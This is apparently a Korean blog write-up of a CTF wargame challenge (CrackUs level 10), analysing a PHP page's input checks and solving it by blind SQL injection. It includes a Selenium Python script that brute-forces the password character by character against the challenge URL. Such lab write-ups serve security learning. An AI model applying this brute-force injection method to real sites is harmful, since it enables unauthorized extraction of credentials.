-
[CrackUs] LEVEL 10[+] Security [+]/CrackUs 2020. 7. 17. 17:59
LEVEL 10 오렌지 문제!
코드를 살펴보자.
예상했던 대로 Blind SQL Injection 문제다.
우선 인자로 idx ch pw 세가지를 받는다.
is_numeric 함수는 값이 숫자로만 이루어 졌는지 체크한다. 앞에 ! 가 있으니 숫자로만 이루어져 있지 않다면 False를 반환한다.
isset함수는 변수에 값이 들어있는지를 체크한다. 이 역시도 값이 들어있지 않다면 exit 된다.
또한 idx 변수에는 0x 즉 헥사값을 사용하는 것을 막아놓았고,
ch의 길이가 1 이상이어야 한다.
아래의 주석은 비밀번호의 길이를 알려준다. 친절하신 출제자님!
좀더 아래를 보면 흥미로운 것이 있다.
쿼리가 두개로 이루어져있다.
첫번째 쿼리는 그 안에 substr 함수를 포함하고 있어서 비밀번호 각각의 값을 알 수 있다.
두번째 쿼리는 최종적으로 완성된 비밀번호 값을 보내어 문제를 해결하는 부분이다.
좋아 이제부터 본격적으로 문제 시작이다! 지금까지는 몸풀기!
필자는 자동화 코드로 Selenium을 사용한다.
from selenium import webdriver import bs4 from time import sleep #login driver = webdriver.Chrome('C:\Web_Driver\chromedriver.exe')#웹 드라이버가 저장되는 경로입니다. driver.implicitly_wait(1) driver.get('http://www.crackus.jeju.kr/main.html')#접속 홈페이지 주소 html = driver.page_source soup = bs4.BeautifulSoup(html, 'html.parser') _id = '여기에 아이디를 입력하세요' _pw = '비밀번호!' driver.find_element_by_xpath('//*[@id="enter"]').click() # 까닭은 모르겠으나 로그인 버튼을 두번 클릭해야 인식되더라구요 driver.find_element_by_xpath('//*[@id="enter"]').click() driver.find_element_by_xpath('//*[@id="id"]').send_keys(_id) #아이디 입력 driver.find_element_by_xpath('//*[@id="pw"]').send_keys(_pw) #비밀번호 입력 driver.find_element_by_xpath('//*[@id="log"]').click() #로그인 버튼 클릭 driver.switch_to_alert().accept() #로그인 성공 :) 처리 driver.get('http://www.crackus.jeju.kr/chall10.php') # 10번 문제 접속 for idx in range(1,8): #비밀번호의 길이는 7! for char in range(48, 123): driver.get('http://www.crackus.jeju.kr/chall10.php?idx={}&ch={}'.format(idx,chr(char))) html = driver.page_source soup = bs4.BeautifulSoup(html, 'html.parser') if 'Olleh ~ Admin' in soup.find('center').text: print(chr(char), end='') break
성공!
까닭은 모르겠으나 crackus 를 대문자로 입력하면 인식을 못한다.
원래는 대소구분이 없었는데 언어가 업데이트되면서 바뀐 것일까...
으음...
#2020.07.18 수정
LEVEL 13 클리어 이후 깨달았다.
MySQL은 대소구분이 없고, PHP는 있다.
result에 값이 들어있나 $result['pw']==$_GET['pw'] 는 만족하지 못하므로, else if (%result) {echo "Good J0b :D;}으로 넘어가버린다
업데이트는 무슨 업데이트! 코드를 똑바로 봤어야지!
'[+] Security [+] > CrackUs' 카테고리의 다른 글
[CrackUs] LEVEL 12 (0) 2020.07.18 [CrackUs] LEVEL 11 (0) 2020.07.18 [CrackUs] LEVEL 9 (0) 2020.07.17 [CrackUs] LEVEL 8 (0) 2020.07.17 [CrackUs] LEVEL 7 (0) 2020.07.17